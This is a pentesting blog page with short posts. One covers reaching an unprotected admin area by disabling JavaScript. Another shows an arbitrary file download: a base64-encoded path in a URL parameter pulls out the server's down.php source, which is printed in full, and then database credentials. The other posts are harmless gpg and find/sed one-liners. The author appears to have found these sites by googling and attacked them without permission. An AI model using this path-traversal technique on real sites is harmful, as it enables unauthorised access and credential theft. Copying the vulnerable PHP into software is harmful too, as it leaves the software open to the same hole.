Skip to content

Pentesting reports

Notes on penetration testing journeys

Keep JavaScript disabled, and strange things could happen

Posted on 2019/02/01 by trouble

Have you ever surfed the web with JavaScript disabled? It is another web, faster for sure. It is a must if you’re surfing the Tor network. It is a strong suggestion even when surfing the clearnet. JavaScript can expose some personal info about us, it is a fact.

Well long story short, some days ago I was looking for login forms to bypass and as usual I was browsing with JavaScript disabled. I’ve opened the next google result and boom! The admin area was in front of me! Wait… where is the login form? I’ve tried to enable JavaScript and… There is the login form. So, disabling JS again would let me enter the admin area. The easiest exploit ever done.

 

Posted in Bypass loginTagged bypass login, javascript, javascript disabled, js, no javascript, no js

Arbitrary file download: an example

Posted on 2019/02/01 by trouble
Pentesting Journeys

I found a lot of sites with urls containing a get variable whose value is a physical path and a file name. I’m not sure why a web developer would ever implement a horrible thing like that but… Still they do. If you want to know more about this kind of vulnerability head to mitre.org

Oh and even worse, some developers think that encoding that relative path with base64 would keep away hackers / pentesters. My article is an example of this kind.

So the other day I was googling around when I found a site where a user can download PDF documents, but the strange thing is that the link to download the file is as follow:

http://foobar.com/down.php?download=dXBsb2FkL2ZpbGVzLzc0OC1pbnN0cnVjdGlvbnMucGRm

Let’s decode that string “dXBsb2FkL2Z…” using base64decode.org :

upload/files/748-instructions.pdf

Bingo! A relative path with a file name. Let’s try to encode the relative path to the file down.php itself:

http://foobar.com/down.php?download=ZG93bi5waHA=

The response is what I was expecting, the source code of down.php:

<?php
session_start();

if ($_GET['download'])
{
    $download = $_GET['download'];
    $file = base64_decode($download);
    $file_name = basename($file);
    $file_name = substr($file_name,11);

    if (file_exists($file))
    {
        header("Expires: Mon,  10 Dec 2001 08:00:00 GMT");
        header("Last-Modified: ".gmdate("D,  d M Y H:i:s")." GMT");
        header('Content-Type: '.content_type($file_name));
        header('Content-Disposition: attachment; filename="'.$file_name.'"');
        header('Content-Length: '.filesize($file).'; ');
        readfile($file);
    }
    else
    {
        //header("Location: " . $_SERVER['HTTP_REFERER']);
        //header("HTTP/1.0 404 Not Found");
        echo "<p>File $file_name does not exist.</p>";
        die;
    }
}


function content_type($name) {
    $contenttype  = 'application/octet-stream';
    $contenttypes = array (
                            'aif'   =>  'audio/x-aiff',
                            'aifc'  =>  'audio/x-aiff',
                            'aiff'  =>  'audio/x-aiff',
                            'avi'   =>  'video/x-msvideo',
                            'bmp'   =>  'image/bmp',
                            'css'   =>  'text/css',
                            'doc'   =>  'application/msword',
                            'dvi'   =>  'application/x-dvi',
                            'dxr'   =>  'application/x-director',
                            'eml'   =>  'message/rfc822',
                            'gif'   =>  'image/gif',
                            'htm'   =>  'text/html',
                            'html'  =>  'text/html',
                            'jpe'   =>  'image/jpeg',
                            'jpeg'  =>  'image/jpeg',
                            'jpg'   =>  'image/jpeg',
                            'log'   =>  'text/plain',
                            'mid'   =>  'audio/midi',
                            'midi'  =>  'audio/midi',
                            'mov'   =>  'video/quicktime',
                            'movie' =>  'video/x-sgi-movie',
                            'mp2'   =>  'audio/mpeg',
                            'mp3'   =>  'audio/mpeg',
                            'mpe'   =>  'video/mpeg',
                            'mpeg'  =>  'video/mpeg',
                            'mpg'   =>  'video/mpeg',
                            'mpga'  =>  'audio/mpeg',
                            'oda'   =>  'application/oda',
                            'pdf'   =>  'application/pdf',
                            'png'   =>  'image/png',
                            'ppt'   =>  'application/vnd.ms-powerpoint',
                            'qt'    =>  'video/quicktime',
                            'ra'    =>  'audio/x-realaudio',
                            'ram'   =>  'audio/x-pn-realaudio',
                            'rm'    =>  'audio/x-pn-realaudio',
                            'rpm'   =>  'audio/x-pn-realaudio-plugin',
                            'rtf'   =>  'text/rtf',
                            'rtx'   =>  'text/richtext',
                            'rv'    =>  'video/vnd.rn-realvideo',
                            'shtml' =>  'text/html',
                            'swf'   =>  'application/x-shockwave-flash',
                            'tar'   =>  'application/x-tar',
                            'text'  =>  'text/plain',
                            'txt'   =>  'text/plain',
                            'tgz'   =>  'application/x-tar',
                            'tif'   =>  'image/tiff',
                            'tiff'  =>  'image/tiff',
                            'wav'   =>  'audio/x-wav',
                            'word'  =>  'application/msword',
                            'xht'   =>  'application/xhtml+xml',
                            'xhtml' =>  'application/xhtml+xml',
                            'xl'    =>  'application/excel',
                            'xls'   =>  'application/vnd.ms-excel',
                            'xml'   =>  'text/xml',
                            'xsl'   =>  'text/xml',
                            'zip'   =>  'application/zip'
                          );

    $name = ereg_replace("ยง", " ", $name);
    foreach ($contenttypes as $type_ext => $type_name) {
        if (preg_match ("/$type_ext$/i",  $name)) $contenttype = $type_name;
    }
    return $contenttype;
}
?>

The next step was to request the source code of index.php, where I found the include file containing the database credentials. End of game.

Posted in Arbitrary file downloadTagged arbitrary file download, CWE-23, Relative Path Traversal, vulnerable

PGP: encrypt file content to stdout

Posted on 2019/01/08 - 2019/01/10 by trouble
Pentesting Journeys

Sometimes I don’t simply want to encrypt files, I need to encrypt plain text only, e.g. to send it in the body of an email. I’m using PGP (Pretty Good Privacy) because it’s widely used and it can be installed on Linux, Windows and OSX machines. Well, on *nix machines the program is called GPG (Gnu Privacy Guard) but it’s the only difference. Furthermore, instead of creating To encrypt file content (not the file itself!) use this bash one-line commands:

cat PLAINFILE | gpg -a -o - -r RECIPIENT -e -

It will dump the encrypted content, additionally with ascii armature (option -a or --armor), to stdout (option -o -); therefore no data, altough encrypted, will be ever written on disk. Use this bash one-line command to decrypt pgp’ed data to stdout rather than a file.

Posted in Bash one-linersTagged bash, encrypt, gpg, pgp

PGP: decrypt file contents to stdout

Posted on 2019/01/08 - 2019/01/10 by trouble

Using the following bash one-line command, the decrypted content will be shown in stdout rather than wrote to a file:

gpg -o - -d ENCRYPTEDFILE

To encrypt file content (not the file itself) with pgp and dump the output to stdout use this bash one-line command.

Posted in Bash one-linersTagged bash, decrypt, gpg, pgp

Bash one-line command: find files and replace strings into them

Posted on 2019/01/08 - 2019/01/08 by trouble

The following bash one-line command is useful when you need to replace a string in multiple files (say, every .html file):

find . -type f -name '*.html' -exec sed -i -e 's/SEARCHTEXT/REPLACETEXT/g' {} \;
Posted in Bash one-linersTagged bash, find, sed

Posts navigation

Older posts

Music from Soundcloud

Pages

  • Manifesto
  • Get in touch

Categories

  • Arbitrary file download
  • Bash one-liners
  • Bypass login
  • PHP snippets

RSS feed: RSS Feed from Exploit DB RSS Feed from Exploit DB

  • [remote] CVE-2026-42167 - ProFTPD mod_sql post-authentication SQLi - RCE
  • [remote] PCMan 2.0.7 - Buffer Overflow
  • [webapps] Linuxfabrik monitoring_plugins_6.0.0 - SSRF
  • [webapps] Nodemailer 9.0.0 - File Read/ SSRF
  • [webapps] flyto-core 2.26.7 - Arbitrary File Write
  • [dos] NanaZip 6.5 - DoS
  • [remote] D-Link DNS_340L - OS Command Injection
  • [remote] ipTIME A3004T - Remote Code Execution
  • [webapps] Duplicati 2.2.0.3 - JWT Signing Key Leak
  • [dos] Nmap 7.99 - Extension Header Integer Underflow

RSS feed: RSS Feed from Packetstorm RSS Feed from Packetstorm

RSS feed: Rss Feed from Nist Rss Feed from Nist

Proudly powered by WordPress | Theme: micro, developed by DevriX.